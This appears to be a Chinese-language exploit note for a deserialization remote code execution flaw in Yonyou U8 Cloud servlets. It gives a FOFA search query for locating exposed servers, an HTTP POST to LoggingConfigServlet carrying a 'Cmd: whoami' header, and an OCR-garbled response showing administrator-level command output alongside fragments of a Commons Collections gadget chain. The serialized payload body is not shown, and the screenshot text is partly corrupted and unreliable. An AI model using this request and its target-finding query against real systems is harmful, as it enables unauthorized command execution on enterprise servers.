Y3-23用友-U8-Cloud-RCE

漏洞描述:

<u>用友U8</u> Cloud存在多处(TableInputOperServlet、LoginServlet、FileTransportServlet、CacheInvokeServlet、ActionHandlerServlet、ServletCommander、MxServlet、MonitorServlet、LogingConfigServlet、 ClientRequestDispatch)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列化利用链,最终造成远程代码执行。

U8 cloud 下载页面

请下载新版UClient 开启U8 cloud云端之旅







网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

POST /service/~iufo/nc.bs.logging.config.LoggingConfigServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Content-Length: 16284

效果图:

```
〈 〉 数据包扫描 為加载 构造请求 🐰
                                                                                                                                                                                                                                                                                                                                  Responses 37bytes / 205ms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ○ 查看提取结果
                                                                                                                                                                                                                                                                                                                                                     HTTP/1.1-200-OK
Server: Apache-Coyote/1.1
Set-Cookie: -35ESSIONID-9E0F00F8791FF34F956A79C93EC4AF88.server; -Path=/; -HttpOnly
Date: -Sun, -10-Dec: -2023-07:15:09 -GMT
Content-Length: -37
POST-/service/~iufo/nc.bs.logging.config.LoggingConfigServlet-HTTP/1.1
Host : 8899
Cmd: whoami
Rccept-encoung: grp | West-accept-encoung: grp |
                                                                                                                                                                                                                                                                                                                                                           win-cm4cat44nkl\administrator
Transformer:xpsr\x00:org.apache.commons.collections.functors
ChainedTransformer@\xc7\x97\xec\x28z\x97\x04\x02\x00\x01[\x00\x0diTransformerst\x00-[Lorg/apache/
□ Payload □ 提取内容
```